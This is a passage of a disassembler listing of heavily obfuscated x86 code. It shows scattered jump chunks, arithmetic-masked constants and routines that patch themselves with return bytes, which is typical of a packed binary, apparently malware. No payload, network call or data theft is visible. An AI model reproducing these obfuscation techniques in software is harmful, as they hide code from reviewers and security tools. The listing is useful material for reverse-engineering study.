; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_442F3C:				; CODE XREF: sub_4478CD:loc_4415EBj
		call	sub_4474D5

locret_442F41:				; CODE XREF: sub_445E00:loc_437945j
		retn
; END OF FUNCTION CHUNK	FOR sub_4478CD

; =============== S U B	R O U T	I N E =======================================



sub_442F42	proc near		; DATA XREF: sub_4446F8:loc_43E359o
		mov	eax, [ebp-30h]
		push	eax
sub_442F42	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_441819

loc_442F46:				; CODE XREF: sub_441819+7F44j
		call	sub_43A6C7
		test	eax, eax
		jnz	loc_440582
		jmp	loc_44CC69
; END OF FUNCTION CHUNK	FOR sub_441819
; ---------------------------------------------------------------------------

loc_442F58:				; CODE XREF: kgbikm34:00445E12j
		or	ebx, eax

; =============== S U B	R O U T	I N E =======================================



sub_442F5A	proc near		; CODE XREF: sub_44B18D+Fp

; FUNCTION CHUNK AT 0044593E SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	edx, 0D9D0D0FEh
		mov	edx, [edx]
		or	edx, edx
		jmp	loc_44593E
sub_442F5A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_442F6D:				; CODE XREF: kgbikm34:00447AD2j
		ror	edi, 1
		jb	loc_445164
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_442F75:				; CODE XREF: sub_447E85:loc_447AB9j
		xor	ebx, 0F4B1C6DBh
		add	ebx, 0F9BBE48h
		xchg	ebx, [esp+4+var_4]
		jmp	loc_447F48
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_442F89:				; CODE XREF: sub_444A5E:loc_4420B8j
		or	esi, 35D5A2D1h
		xor	esi, 1682510Ch
		cmp	esi, 0A671629Ch
		jmp	loc_4413F1
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_442FA0:				; CODE XREF: sub_438B6B:loc_43C793j
		jnz	loc_43CC95

loc_442FA6:				; CODE XREF: sub_43CAB5+CAC0j
		jmp	loc_43AB1D
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B47A

loc_442FAB:				; CODE XREF: sub_44B47A-6620j
		jmp	loc_439432
; END OF FUNCTION CHUNK	FOR sub_44B47A
; ---------------------------------------------------------------------------
		jnp	loc_43B675
		jmp	loc_43CC8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4456B7

loc_442FBB:				; CODE XREF: sub_4456B7+7F6Cj
		pop	edx
		rol	edx, 0Eh
		test	edx, 2000h
		jmp	loc_43B422
; END OF FUNCTION CHUNK	FOR sub_4456B7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF32

loc_442FCB:				; CODE XREF: sub_43FF32:loc_44AEF5j
		jmp	loc_43EC37
; END OF FUNCTION CHUNK	FOR sub_43FF32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F77

loc_442FD0:				; CODE XREF: sub_443F77-9F55j
		pop	ebx
		lea	eax, loc_4377E4
		mov	byte ptr [eax],	0C3h
		jmp	loc_4377E4
; END OF FUNCTION CHUNK	FOR sub_443F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444600

loc_442FDF:				; CODE XREF: sub_444600-CE16j
		mov	eax, [esp-4+arg_0]
		push	edx
		jmp	loc_4475EC
; END OF FUNCTION CHUNK	FOR sub_444600
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D26

loc_442FE8:				; CODE XREF: sub_43DCAC:loc_437755j
					; sub_444D26:loc_443941j
		call	sub_43B476

loc_442FED:				; CODE XREF: sub_4372E5+15DF2j
		jmp	loc_44DF3D
; END OF FUNCTION CHUNK	FOR sub_444D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E6BD

loc_442FF2:				; CODE XREF: sub_43E6BD+Cj
		jmp	loc_445848
; END OF FUNCTION CHUNK	FOR sub_43E6BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_442FF7:				; CODE XREF: sub_439BDE:loc_440FB7j
		and	edi, 4BBB29DCh
		and	edi, esi
		push	eax
		jmp	loc_449426
; END OF FUNCTION CHUNK	FOR sub_439BDE

; =============== S U B	R O U T	I N E =======================================



sub_443005	proc near		; DATA XREF: sub_44BB9F-876Bo
		xor	eax, 782B3E98h
		call	sub_43BF6F
		mov	ds:off_41E104, eax
		lea	eax, sub_44D8F8
		mov	byte ptr [eax],	0C3h
		jmp	sub_44D8F8
sub_443005	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D8F8

loc_443024:				; CODE XREF: sub_44D8F8j
		xchg	ebp, [esp+0]
		mov	edx, ebp
		pop	ebp
		jmp	loc_445012
; END OF FUNCTION CHUNK	FOR sub_44D8F8
; ---------------------------------------------------------------------------

loc_44302F:				; CODE XREF: kgbikm34:004399E7j
		xor	esi, 72714F1Ch
		add	esi, 0ACE23048h
		mov	[esi], eax
		pop	esi
		jmp	loc_4432F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D114

loc_443043:				; CODE XREF: sub_43D114+35A3j
		mov	esi, edx
		xchg	esi, [esp+0]
		call	sub_44627C
		push	0F1D92FBDh
		jmp	loc_442564
; END OF FUNCTION CHUNK	FOR sub_43D114
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_443057:				; CODE XREF: sub_439BDE:loc_44C5EBj
		sub	edx, 0A74A969Bh
		add	edx, 10280B96h
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_43C91C
		jmp	loc_43B62B
; END OF FUNCTION CHUNK	FOR sub_439BDE

; =============== S U B	R O U T	I N E =======================================



sub_443072	proc near		; CODE XREF: sub_4375CFj
					; DATA XREF: sub_439274:loc_4375C5o
		xchg	esi, [esp+0]
		jmp	loc_44C99F
sub_443072	endp

; ---------------------------------------------------------------------------

loc_44307A:				; CODE XREF: kgbikm34:loc_440153j
		call	sub_44B537
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_44307F:				; CODE XREF: sub_44CA61-B843j
					; sub_43EAEE:loc_44252Cj ...
		xchg	eax, [esp-4+arg_0]
		mov	edx, eax
		call	sub_4479B1
		jmp	loc_44D18D
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A476

loc_44308E:				; CODE XREF: sub_44A476+Aj
		or	eax, eax
		jnz	loc_43CE0A
		jmp	loc_44731F
; END OF FUNCTION CHUNK	FOR sub_44A476
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C093

loc_44309B:				; CODE XREF: sub_44C093:loc_43B9F2j
		call	sub_44157D
; END OF FUNCTION CHUNK	FOR sub_44C093
; START	OF FUNCTION CHUNK FOR sub_438ACE

loc_4430A0:				; CODE XREF: sub_438ACE+91C2j
		jnz	loc_439838
; END OF FUNCTION CHUNK	FOR sub_438ACE
; START	OF FUNCTION CHUNK FOR sub_43D409

loc_4430A6:				; CODE XREF: sub_43D409+3j
		jmp	sub_43FCE6
; END OF FUNCTION CHUNK	FOR sub_43D409
; ---------------------------------------------------------------------------
		add	ebx, eax
		jmp	loc_44BCAF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A7AF

loc_4430B3:				; CODE XREF: sub_44A7AF+Fj
		jmp	nullsub_370
; END OF FUNCTION CHUNK	FOR sub_44A7AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_4430B8:				; CODE XREF: sub_4471D6+24F5j
		jmp	loc_443A23
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC19

loc_4430BD:				; CODE XREF: sub_43DC19:loc_439A58j
		push	ecx
		push	0C342CADBh
		pop	ecx
		and	ecx, 0A2DD5129h
		rol	ecx, 6
		jnb	loc_43E211
; END OF FUNCTION CHUNK	FOR sub_43DC19
; START	OF FUNCTION CHUNK FOR sub_442B5D

loc_4430D3:				; CODE XREF: sub_442B5D:loc_4487E8j
		xor	edi, 421CBD3Bh
		cmp	edi, 2FAE82Ch
		jmp	loc_43A19C
; END OF FUNCTION CHUNK	FOR sub_442B5D

; =============== S U B	R O U T	I N E =======================================



sub_4430E4	proc near		; DATA XREF: kgbikm34:0043CD38o

; FUNCTION CHUNK AT 00449ACF SIZE 00000005 BYTES

		mov	byte ptr [ebp+eax-100h], 0
		push	offset loc_43FEB3
		jmp	loc_449ACF
sub_4430E4	endp

; ---------------------------------------------------------------------------

loc_4430F6:				; CODE XREF: kgbikm34:loc_445948j
		add	eax, 0C054ED7Ah
		xchg	eax, [esp]
		jmp	nullsub_308
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D599

loc_443104:				; CODE XREF: sub_44D599:loc_4421F0j
		pop	edx
		or	edx, 1C132AD2h
		sub	edx, 3D799D85h
		add	edx, 5F7EE062h
		jmp	loc_43EA52
; END OF FUNCTION CHUNK	FOR sub_44D599
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_44311C:				; CODE XREF: kgbikm34:0043BB4Ej
					; sub_4394EB:loc_447A4Ej
		rol	eax, 1Bh
		add	eax, 3A49B7D4h
		call	sub_4400C7
		push	offset loc_43EADB
		jmp	nullsub_146
; END OF FUNCTION CHUNK	FOR sub_4394EB
; ---------------------------------------------------------------------------

loc_443134:				; CODE XREF: kgbikm34:004494EDj
		jns	loc_44465A
		jnz	loc_44D5B4
		and	edi, 46B89ECCh
		sbb	esi, 909689E4h
		ja	loc_43C9AA
		jmp	loc_43EEAE
; ---------------------------------------------------------------------------

loc_443157:				; DATA XREF: kgbikm34:0043FFFEo
		push	0C5630254h
		pop	esi
		or	esi, 5C657DFh
		test	esi, 20h
		jmp	loc_43B2A4
; ---------------------------------------------------------------------------

loc_44316E:				; CODE XREF: kgbikm34:loc_440172j
		call	sub_43F3F8
		push	offset sub_444F4B

loc_443178:				; CODE XREF: kgbikm34:loc_447724j
		jmp	loc_438A1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4385AD

loc_44317D:				; CODE XREF: sub_4385AD+16j
		add	eax, ebp
		add	eax, 0A31EB82Bh
		mov	eax, [eax]
		pop	ecx
		jmp	loc_446F6C
; END OF FUNCTION CHUNK	FOR sub_4385AD
; ---------------------------------------------------------------------------

loc_44318D:				; CODE XREF: kgbikm34:00448999j
		xchg	ecx, [esp]
		pop	ecx
		pop	edx
		mov	eax, [esp]
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		call	sub_44627C
		jmp	loc_43C95B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440116

loc_4431A5:				; CODE XREF: sub_440116+15j
		push	edi
		mov	edi, edx
		xchg	edi, [esp-4+arg_0]
		push	edi
		push	eax
		pop	edi
		xchg	edi, [esp+0]
		jmp	loc_44BF5B
; END OF FUNCTION CHUNK	FOR sub_440116

; =============== S U B	R O U T	I N E =======================================



sub_4431B6	proc near		; CODE XREF: kgbikm34:00438AF4j
					; kgbikm34:loc_449C67p

; FUNCTION CHUNK AT 0043A8BE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AFCA SIZE 0000001F BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	edi
		push	0A3DF8F1h
		pop	edi
		jmp	loc_43A8BE
sub_4431B6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D686

loc_4431C6:				; CODE XREF: sub_43D686:loc_445D16j
		mov	eax, 0EEE68DF1h
		push	eax
		push	0B88815A4h
		pop	eax
		sub	eax, ds:4000FAh
		add	eax, 0F80E1141h
		jmp	loc_443778
; END OF FUNCTION CHUNK	FOR sub_43D686
; ---------------------------------------------------------------------------
		push	36FD5B9h
		pop	eax
		and	eax, 3773C026h
		cmp	eax, 4D041920h
		jmp	loc_44C281
; ---------------------------------------------------------------------------

locret_4431FA:				; CODE XREF: kgbikm34:004390CAj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B960

loc_4431FB:				; CODE XREF: sub_44B960+6j
		jmp	nullsub_339
; END OF FUNCTION CHUNK	FOR sub_44B960
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_443200:				; CODE XREF: sub_43E4C0+ABDEj
		jmp	loc_43F07E
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448BC4

loc_443205:				; CODE XREF: sub_448BC4+13j
		jmp	loc_446386
; END OF FUNCTION CHUNK	FOR sub_448BC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DAFB

loc_44320A:				; CODE XREF: sub_43DAFB+8j
		jmp	sub_437298
; END OF FUNCTION CHUNK	FOR sub_43DAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433D8

loc_44320F:				; CODE XREF: sub_4433D8:loc_43B3C2j
		sub	eax, 0ABCABB29h
		sbb	edx, eax
		adc	esi, ebp
		jmp	loc_441EC8
; END OF FUNCTION CHUNK	FOR sub_4433D8
; ---------------------------------------------------------------------------
		mov	ebx, eax
		jmp	sub_438E7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4390CF

loc_443225:				; CODE XREF: sub_4390CF+5EB7j
		xor	eax, ecx
		pop	ecx
		mov	edx, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		call	sub_445D55
		jmp	loc_441CE3
; END OF FUNCTION CHUNK	FOR sub_4390CF

; =============== S U B	R O U T	I N E =======================================



sub_443238	proc near		; DATA XREF: sub_43D576+6o
		pop	esi
		rol	eax, 8
		xor	eax, 0CD8DFE5h
sub_443238	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_443242:				; CODE XREF: sub_43EAEE-3392j
		jmp	loc_43774A
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440380

loc_443247:				; CODE XREF: sub_440380j
		mov	eax, ds:dword_44A198
		or	eax, eax
		jmp	loc_44A7DE
; END OF FUNCTION CHUNK	FOR sub_440380
; ---------------------------------------------------------------------------
		mov	edx, ecx
		jmp	sub_448E4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_44325B:				; CODE XREF: sub_43B1D6:loc_44B2E2j
		mov	eax, [eax]

loc_44325D:				; CODE XREF: sub_44B20C:loc_43BD51j
		push	offset sub_43B61A
		jmp	loc_448411
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D599

loc_443267:				; CODE XREF: sub_44D599:loc_437A44j
		xor	eax, ecx
		pop	ecx
		ror	eax, 1Bh
		mov	edx, [esp+0]
		push	eax
		mov	eax, edx

loc_443273:				; CODE XREF: sub_440834:loc_44D1BAj
		push	edx
		push	0C23D298Bh
		jmp	loc_4421F0
; END OF FUNCTION CHUNK	FOR sub_44D599
; ---------------------------------------------------------------------------
		cmp	ecx, 0E0880C2Ch
		jmp	loc_43DC00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_443289:				; CODE XREF: sub_446F79+33B4j
		jnz	loc_43ED71
		jmp	loc_43B972
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ABF4

loc_443294:				; CODE XREF: sub_43ABF4:loc_440FEFj
					; kgbikm34:loc_44C830j
		jz	loc_441656
		mov	[ebp+var_8], 1

loc_4432A1:				; CODE XREF: sub_43ABF4:loc_43C599j
					; sub_445779:loc_448694j
		push	offset loc_441645
		jmp	loc_44A753
; END OF FUNCTION CHUNK	FOR sub_43ABF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446129

loc_4432AB:				; CODE XREF: sub_446129:loc_43B185j
		push	edx
		push	eax
; END OF FUNCTION CHUNK	FOR sub_446129
; START	OF FUNCTION CHUNK FOR sub_43FF32

loc_4432AD:				; CODE XREF: sub_43FF32:loc_4455CFj
		mov	eax, [ebp-8]
		cdq
		add	eax, [esp+0]
		call	sub_44273E

loc_4432B9:				; CODE XREF: kgbikm34:loc_43C15Dj
		push	offset sub_43C072
		jmp	nullsub_75
; END OF FUNCTION CHUNK	FOR sub_43FF32

; =============== S U B	R O U T	I N E =======================================



sub_4432C3	proc near		; DATA XREF: sub_440488+7E78o

var_4		= dword	ptr -4

		mov	edx, 0D504D785h
		push	ebx
		push	8FB7B4F7h
		pop	ebx

loc_4432CF:				; CODE XREF: kgbikm34:loc_4420DBj
		xor	ebx, 3CDCF134h
		or	ebx, 0ED374CCCh
		add	ebx, 0C48CE7h
		xchg	ebx, [esp+4+var_4]
		jmp	loc_44ABAC
sub_4432C3	endp

; ---------------------------------------------------------------------------

loc_4432E9:				; CODE XREF: kgbikm34:0044CBF1j
		jbe	loc_44B835

; =============== S U B	R O U T	I N E =======================================



sub_4432EF	proc near		; CODE XREF: sub_43E4C0+C6E7p
		xchg	eax, [esp+0]
		pop	eax
		push	eax
		call	sub_43C207

loc_4432F9:				; CODE XREF: kgbikm34:0044303Ej
		jmp	nullsub_57
sub_4432EF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF32

loc_4432FE:				; CODE XREF: sub_43FF32-54A6j
		jmp	loc_44AEE4
; END OF FUNCTION CHUNK	FOR sub_43FF32
; ---------------------------------------------------------------------------

loc_443303:				; CODE XREF: kgbikm34:0044A322j
		add	eax, 4AD9B426h
		xchg	eax, [esp]
		jmp	loc_43D2E6
; ---------------------------------------------------------------------------
		and	esi, ecx
		shl	eax, 16h
		jmp	sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44527A

loc_44331B:				; CODE XREF: sub_44527A:loc_438920j
		xor	eax, 67DCCEE4h
		add	eax, 283F4E6Eh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_4466F8
		jmp	loc_44CFFE
; END OF FUNCTION CHUNK	FOR sub_44527A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44964D

loc_443336:				; CODE XREF: sub_44964D:loc_440029j
		jz	loc_44D6A2
		jmp	loc_447612
; END OF FUNCTION CHUNK	FOR sub_44964D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F524

loc_443341:				; CODE XREF: sub_43F524+2780j
		call	sub_44A987

loc_443346:				; CODE XREF: sub_43C76D+AC15j
		jmp	loc_4410F8
; END OF FUNCTION CHUNK	FOR sub_43F524
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D373

loc_44334B:				; CODE XREF: sub_43D373+6j
		jmp	locret_43C195
; END OF FUNCTION CHUNK	FOR sub_43D373
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_443350:				; CODE XREF: sub_439A2E:loc_446CADj
					; sub_449893:loc_44ADB7j
		push	ecx
		mov	esp, ebp
		pop	ebp
		push	0F2D51C34h
		jmp	loc_448F4E
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4418C2

loc_44335E:				; CODE XREF: sub_4418C2:loc_44BD9Fj
		jl	loc_44A291

loc_443364:				; CODE XREF: sub_43FC25-95Bj
		jmp	loc_446454
; END OF FUNCTION CHUNK	FOR sub_4418C2
; ---------------------------------------------------------------------------
		xchg	ebp, [esi]
		pop	esi
		jmp	loc_44A288
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439003

loc_443371:				; CODE XREF: sub_439003+19j
		mov	ds:off_41E020, eax
		lea	eax, sub_43C190
		mov	byte ptr [eax],	0C3h
; END OF FUNCTION CHUNK	FOR sub_439003
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_443380:				; CODE XREF: sub_43B1D6:loc_443D20j
		jmp	loc_445A08
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439003

loc_443385:				; CODE XREF: sub_439003j
		mov	eax, [esp+0]
		push	edx
		call	sub_43EB8F
		push	50948FEEh
		jmp	loc_43FC14
; END OF FUNCTION CHUNK	FOR sub_439003

; =============== S U B	R O U T	I N E =======================================



sub_443398	proc near		; DATA XREF: kgbikm34:loc_448F99o

; FUNCTION CHUNK AT 00449ACA SIZE 00000005 BYTES

		add	ebx, 0C1227B8Ah
		xchg	ebx, [esp+0]
		jmp	loc_449ACA
sub_443398	endp

; ---------------------------------------------------------------------------

loc_4433A6:				; CODE XREF: kgbikm34:loc_44B466j
		jz	loc_4495A1
		jmp	loc_440FB2
; ---------------------------------------------------------------------------
		push	offset sub_4458D3
		jmp	loc_443E72
; ---------------------------------------------------------------------------

loc_4433BB:				; CODE XREF: kgbikm34:004460C6j
		adc	ebx, 6474B717h
		add	eax, ebx
		test	esi, edi
		jmp	loc_448124
; ---------------------------------------------------------------------------

loc_4433CA:				; DATA XREF: kgbikm34:loc_43C7B5o
		add	edi, 804BFFAEh
		xchg	edi, [esp]
		jmp	loc_43E781

; =============== S U B	R O U T	I N E =======================================



sub_4433D8	proc near		; CODE XREF: sub_444864+32C8j
					; sub_43FC25+DA4Dp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043AC4C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B3C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FB9D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441D51 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00441EC8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044320F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044433E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444DD8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00445FBE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044B1AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BB27 SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ecx
		pop	ebp
		xchg	ebp, [esp-4+arg_0]
		mov	esp, ebp
		pop	ebp
		jmp	loc_444DD8
sub_4433D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_4433E9:				; CODE XREF: sub_439609:loc_43E153j
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_443DDE
		jmp	loc_43D863
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C607

loc_4433F8:				; CODE XREF: sub_44C607:loc_43F6E2j
		or	esi, 0C1286F03h
		and	esi, 47D0281Fh
		add	esi, 0B83BD434h
		add	esi, ebp
		add	esi, 5F403C5h
		jmp	loc_43C113
; END OF FUNCTION CHUNK	FOR sub_44C607
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_443417:				; CODE XREF: sub_449D78-C1C4j
		sbb	eax, 3D53EA29h
		jmp	loc_441FFD
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------

loc_443422:				; CODE XREF: kgbikm34:0044C7AFj
		jno	loc_447DEA
		jle	loc_43E3C8
; START	OF FUNCTION CHUNK FOR sub_44BB9F

loc_44342E:				; CODE XREF: sub_44BB9F:loc_44C79Bj
		or	eax, 0A44528B7h
		push	offset sub_443005
		jmp	loc_44C155
; END OF FUNCTION CHUNK	FOR sub_44BB9F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44343F:				; CODE XREF: kgbikm34:0043F1F1j
		jbe	loc_44B4E2
		push	6C570C8Dh
		sbb	ebx, 885BAA46h
		ror	edx, 17h
		jmp	loc_445B54
; ---------------------------------------------------------------------------

loc_443458:				; DATA XREF: sub_441D2F-3626o
		push	53B11419h
		and	esi, ebx
		jmp	loc_43C385
; ---------------------------------------------------------------------------
		push	0A5B5B6F5h
		pop	eax
		sub	eax, 73970BDAh
		or	eax, 0CB9BD043h
		rol	eax, 18h
		add	eax, 16B5E74Eh
		jmp	loc_44A3CD
; ---------------------------------------------------------------------------

loc_443484:				; DATA XREF: sub_44B6E1-DCC5o
		push	ecx
		push	offset loc_44CB57
		jmp	locret_4454CC
; ---------------------------------------------------------------------------
		add	eax, 6ABFB114h
		rol	eax, 14h
		add	eax, 5D5B5FEEh
		xor	eax, 0ABB52998h
		add	eax, 5CFFAE99h
		rol	eax, 10h
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_4434AD:				; CODE XREF: sub_439BDE:loc_448421j
		add	eax, 860BB153h
		call	sub_43F77F

loc_4434B8:				; CODE XREF: kgbikm34:0044967Aj
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_4434BD:				; CODE XREF: sub_449D59-29C1j
		jmp	loc_446738
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BF6F

loc_4434C2:				; CODE XREF: sub_43BF6F+569Cj
		jmp	loc_43F739
; END OF FUNCTION CHUNK	FOR sub_43BF6F
; ---------------------------------------------------------------------------

loc_4434C7:				; CODE XREF: kgbikm34:0044DB4Fj
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_308
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	eax
		mov	eax, edx
		xchg	eax, [esp]
		call	sub_43F3F8
		jmp	loc_4372D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A4A3

loc_4434E3:				; CODE XREF: sub_43A4A3-2E01j
		ror	esi, 1Dh

loc_4434E6:				; CODE XREF: sub_43A4A3:loc_44117Fj
		mov	eax, 0A2CD59D9h
		push	edi
		mov	edi, eax
		jmp	loc_43E1BF
; END OF FUNCTION CHUNK	FOR sub_43A4A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_4434F3:				; CODE XREF: sub_439609:loc_448247j
		jl	loc_43BBC9
		jo	loc_44C368
		cdq
		jmp	loc_43BBC9
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_43B469
		mov	eax, 86480F55h
		call	sub_43BF6F

loc_443519:				; CODE XREF: kgbikm34:0043E775j
		jmp	loc_438738
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_44351F:				; CODE XREF: sub_447E85+10j
		jmp	loc_442D3D
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E513

loc_443524:				; CODE XREF: sub_43E513+9j
		jmp	loc_44C93E
; END OF FUNCTION CHUNK	FOR sub_43E513
; ---------------------------------------------------------------------------

loc_443529:				; CODE XREF: kgbikm34:0043A9E2j
		jmp	locret_43EED7
; ---------------------------------------------------------------------------
		mov	ds:dword_41E14C, eax
		lea	eax, nullsub_184
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_184
; ---------------------------------------------------------------------------
		xchg	ebx, [esp]
		mov	edx, ebx
		pop	ebx
		push	offset sub_439D12
		jmp	locret_440820
; ---------------------------------------------------------------------------

loc_443552:				; CODE XREF: kgbikm34:loc_439995j
					; kgbikm34:004399AFj
		xor	eax, 87FC3075h
		jns	loc_43A6E1
; START	OF FUNCTION CHUNK FOR sub_446F45

loc_44355E:				; CODE XREF: sub_446F45+Bj
		jmp	loc_449AB9
; END OF FUNCTION CHUNK	FOR sub_446F45
; ---------------------------------------------------------------------------
		pushf
		mov	ebp, 0FC9684BBh
		jg	loc_4417EB
		jz	locret_43DCE4
		jmp	loc_43A6DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_44357A:				; CODE XREF: sub_438B6B+34A3j
		push	0C15CD07Fh
		jb	loc_447CB4

loc_443585:				; CODE XREF: sub_438B6B:loc_447003j
		call	sub_442340
; END OF FUNCTION CHUNK	FOR sub_438B6B
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_44358A:				; CODE XREF: sub_4494B1-4300j
		jmp	loc_4377B7
; END OF FUNCTION CHUNK	FOR sub_4494B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_44358F:				; CODE XREF: sub_449F77:loc_43F0F5j
		test	edx, ebx
		jmp	loc_43D458
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442340

